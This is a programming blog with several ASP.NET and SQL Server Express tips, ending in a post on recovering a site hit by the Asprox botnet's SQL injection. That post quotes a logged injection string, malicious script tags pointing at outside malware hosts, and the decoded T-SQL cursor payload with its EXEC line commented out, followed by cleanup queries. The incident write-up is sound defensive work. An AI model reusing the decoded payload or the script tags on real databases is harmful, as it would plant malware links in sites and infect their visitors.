Programming Shorts

Attaching an mdf file to the app_data folder

2010-01-17T14:15:00Z

If you wish to attach an mdf file in your application's app_data folder at run-time using SQLExpress, you may encounter a permission problem:

System.Data.SqlClient.SqlException: Directory lookup for the file "C:\Documents and Settings\*\My Documents\WebSites\*\App_Data\*.mdf

The trick is to give the mssqlexpress user on your machine read and write permission on the app data folder. To find the sqlexpress username, issue this command at the command prompt:

C:\Program Files\Microsoft SQL Server\MSSQL10.SQLEXPRESS\MSSQL>cacls data

You should see something like this:

SQLServerMSSQLUser$<machine>$SQLEXPRESS:(OI)(CI)F

Copy the entire username: SQLServerMSSQLUser$<machine>$SQLEXPRESS

Next, browse to the app_data folder for your web site. Right click on the folder and add the above user with read,write,execute permissions.

Another tip: If you're moving the mdf file form one machine to another, don't include the *.ldf file with it.

Finally, here's my connection string:

<add name="default" connectionString="data source=.\SQLEXPRESS;AttachDbFilename=|DataDirectory|\<database>.mdf;Integrated Security=True;Initial Catalog=<database>;" providerName="System.Data.SqlClient"/>

Good luck! --Brett

In GridView RowUpdating Event Handler, e.NewValues and e.OldValues are null

2008-10-26T21:25:00Z

I use custom data objects to populate data controls. Typically, I'll create a factory object and factory method that returns a List<> collection of "ConcreteProducts". For example,

RegistrationRuleFactory f = new RegistrationRuleFactory(connectionString);

List<RegistrationRule> rules = f.GetRules(subid);

Oftentimes, these DAL classes don't mesh perfectly with the requirements of a ObjectDataSource / GridView pairing. The best way to handle this situation is to create a Business Layer class to encapsulate the DAL and bind this BL class to the ObjectDataSource of interest.

That being said, there are times when I've bound the data to the gridview at runtime from the DAL class. This reduces the amount of code one has to write, and seems to reduce the complexity of the code. On the downside, you have to learn how and when to bind the data to controls, and you run into snags like this:

In the RowUpdating event handler, e.NewValues and e.OldValues are null!!

I couldn't find any MSDN literature regarding the problem, but the following forum suggest that the problem results form not using ObjectDataSource:

http://forums.asp.net/p/956604/1178168.aspx#1178168

Bummer. Well, there's a reasonable way to get around this. If you avoid using <asp:BoundField> controls and instead using <asp:TemplateField> controls, then you can easily grab the updated row's values from the RowUpdating handler. The web form looks like this:

<asp:GridView ID="RulesGridView" runat="server" AutoGenerateColumns="false" DataKeyNames="RuleID" > <Columns> <asp:TemplateField HeaderText="IP Mask" ItemStyle-Wrap=false> <ItemTemplate> <asp:Label ID=IPLabel runat=server Text='<%# Eval("IP") %>'/> </ItemTemplate> <EditItemTemplate> <asp:TextBox ID=IPTextBox runat=server Text='<%# Eval("IP") %>' Width=150 /> </EditItemTemplate> </asp:TemplateField>

In the code behind, handle the gridview's rowupdating event and access the form data as such:

/// <summary> /// Handle the row update event /// </summary> void RulesGridView_RowUpdating(object sender, GridViewUpdateEventArgs e) { GridView rulesGridView = sender as GridView; Guid ruleID = new Guid(rulesGridView.DataKeys[e.RowIndex].Value.ToString()); GridViewRow row = rulesGridView.Rows[e.RowIndex]; // Get the controls TextBox ipTB = row.FindControl("IPTextBox") as TextBox; // Data exchange AuthenticationRule rule = new AuthenticationRule(); rule.SubscriptionID = subid; rule.RuleID = ruleID; rule.IP = ipTB.Text;

It is certainly preferable to use the ObjectDataSource control, but sometimes the expediency wins out...

GridView Delete With Confirmation

2008-10-23T13:24:00Z

Recently I undertook the creation of a GridView control for which I wanted Edit, Delete, Update and Cancel buttons. There are a couple of out-of-the-box ASP.Net solutions for this problem. The first is to simply use the "AutoGenerate" attributes of the GridView control. For example,

<asp:GridView ID="RulesGridView" runat="server" AutoGenerateColumns="false" AutoGenerateDeleteButton=true AutoGenerateEditButton=true HeaderStyle-CssClass="b24-report-title" DataKeyNames="RuleID" EditRowStyle-CssClass="b24-editrow" CellPadding=4 >

The problem with this solution is twofold:

You get links instead of buttons, which feels a little awkward
You can't specify a javascript confirmation dialog before the delete is executed

Okay, so there's another option. You can remove the "AutoGenerate" attributes and instead specify a "CommandField" column as follows:

<asp:GridView ID="RulesGridView" runat="server" HeaderStyle-CssClass="b24-report-title" DataKeyNames="RuleID" EditRowStyle-CssClass="b24-editrow" CellPadding=4>
<columns>

<asp:CommandField ButtonType=Button ShowEditButton=true ShowDeleteButton=true ShowCancelButton=true EditImageUrl="~/images/GVEditButton.gif" DeleteImageUrl="~/images/GVDeleteButton.gif" CancelImageUrl="~/images/GVCancelButton.gif" UpdateImageUrl="~/images/GVUpdateButton.gif" />

This solution solves problem number 1. We now have buttons. However, you still cannot put a javascript confirmation on the delete button. So that leads us to a custom template field and some code-behind. There are a couple of good references on the web for such a solution:

http://www.codeproject.com/KB/webforms/GridViewConfirmDelete.aspx

http://msdn.microsoft.com/en-us/library/ms972940.aspx

The problem with these examples is that the Edit, Delete, Update and Cancel buttons are not all coordinated as they are in the auto-geneated solutions. These examples provide a delete button in isolation -- not so useful. If you want the default Edit, Delete, Update, Cancel toggling *behavior* with a javascript confirmation on the delete operation, then you have to take the examples a bit further. This is what I've done below. You get the default behavior with the customized buttons and javascript delete confirmation. The web form with the template looks like the following:

<asp:GridView ID="RulesGridView" runat="server" AutoGenerateColumns="false" HeaderStyle-CssClass="b24-report-title" DataKeyNames="RuleID" EditRowStyle-CssClass="b24-editrow" CellPadding=4 > <Columns> <asp:TemplateField> <ItemTemplate> <asp:ImageButton ID="EditButton" CommandArgument='<%# Eval("RuleID") %>' CommandName="Edit" runat="server" ImageUrl="~/images/GVEditButton.gif" AlternateText=Edit Visible=false />

<asp:ImageButton ID="DeleteButton" CommandArgument='<%# Eval("RuleID") %>' CommandName="Delete" runat="server" ImageUrl="~/images/GVDeleteButton.gif" AlternateText=Delete Visible=false OnClientClick="BLOCKED SCRIPTreturn confirm('Delete this record? Are you sure?');" />

<asp:ImageButton ID="UpdateButton" CommandArgument='<%# Eval("RuleID") %>' CommandName="Update" runat="server" ImageUrl="~/images/GVUpdateButton.gif" AlternateText=Update Visible=false />

<asp:ImageButton ID="CancelButton" CommandArgument='<%# Eval("RuleID") %>' CommandName="Cancel" runat="server" ImageUrl="~/images/GVCancelButton.gif" AlternateText=Cancel Visible=false />

</ItemTemplate> </asp:TemplateField> </columns>

Notice that all the buttons have visible=false by default. So now you need a little bit of jiggering on the code-behind. Add a handler for the RowCreated event:

RulesGridView.RowCreated += new GridViewRowEventHandler(RulesGridView_RowCreated);

And in the handler, toggle the buttons:

/// <summary> /// Updates to individual rows as they're created /// </summary> void RulesGridView_RowCreated(object sender, GridViewRowEventArgs e) { GridView rulesGridView = sender as GridView; // The rules gridview itself GridViewRow row = e.Row; // The row being created int editIndex = rulesGridView.EditIndex; // Row currently being edited if (row.RowType == DataControlRowType.DataRow) { // Show the relevant buttons depending upon whether the row is edit ImageButton updateBT = row.FindControl("UpdateButton") as ImageButton; ImageButton cancelBT = row.FindControl("CancelButton") as ImageButton; ImageButton editBT = row.FindControl("EditButton") as ImageButton; ImageButton deleteBT = row.FindControl("DeleteButton") as ImageButton; if (editIndex == row.DataItemIndex) { updateBT.Visible = true; cancelBT.Visible = true; editBT.Visible = false; deleteBT.Visible = false; } else { updateBT.Visible = false; cancelBT.Visible = false; editBT.Visible = true; deleteBT.Visible = true; } } }

And I think that's about all. Happy programming!

--Brett

Asprox Recovery

2008-06-27T12:52:00Z

A site we inherited last year included a number of programming shortcuts, including string concatenation of user data for sql selects. This made the site vulnerable to sql injection attacks. Surprisingly, over the lifetime of the app (5-7 years?), this vulnerability was not exploited to any significant end (that we know of). Well, that changed recently. Beginning around May13, the asprox botnet increased its activity and began large-scale sql injection attacks. The injection attack aims to inject <script> tags into every text field of the target database. These script tags point to 3rd party sites and cause vulnerable end user machines to download the botnet executable and continue its mission (phishing, spam, more sql injection?). The script tags look like the following:

<script src="http://www.advabnr.com/b.js"></script> <script src="http://www.adw95.com/b.js"></script> and a new one beginning June 20: <script src="http://www.pingbnr.com/b.js"></script>

I fixed the tables that were obviously affected (and paramaterized the relevant asp pages), but I'd been worrying about the extent of the damage to the db and exactly how the injection worked. SecureWorks.com has an excellent article describing how the sql injection works. This article led me to grep our logs for instances of "DECLARE" and I found the relevant injections, e.g.,

DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x44454...%20AS%20VARCHAR(4000));EXEC(@S);--

Well, here's the point of this blog. If you take the above hex string from the log and translate it, you can work out what the attack is trying to accomplish (I've commented out the exec() statement for safety):

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN --EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.pingbnr.com/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Using this same bit of dynamic sql, one can then work out the compromised tables in the database and begin recovering:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
CREATE TABLE #Affected (TableName varchar(255))
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
exec('if(exists(select * from ['+@T+'] where ['+@C+'] like ''%<script%''))
insert into #Affected select TableName='''+@T+'''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
select 'Affected Tables:'
select distinct tablename from #Affected
DROP TABLE #Affected

With a bit of clever string manipulation, you can even automate the "fix":

DECLARE @T VARCHAR(255),@C VARCHAR(255)
CREATE TABLE #Affected (TableName varchar(255))
insert into #affected select TableName = 'table_name1'
insert into #affected select TableName = 'table_name2'
insert into #affected select TableName = 'table_name3'
DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN
    if(exists(select * from #Affected where TableName = @T))
    begin
      exec('update ['+@T+'] set ['+@C+'] = substring(['+@C+'], 0, charindex(''<script'',['+@C+']))
              where ['+@C+'] like ''%<script%''')
    end
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor
DROP TABLE #Affected

Of course, nothing is fixed until you deal with your careless coding -- you've got a ticking time bomb. They could wipe out your db if they so choose.

--Brett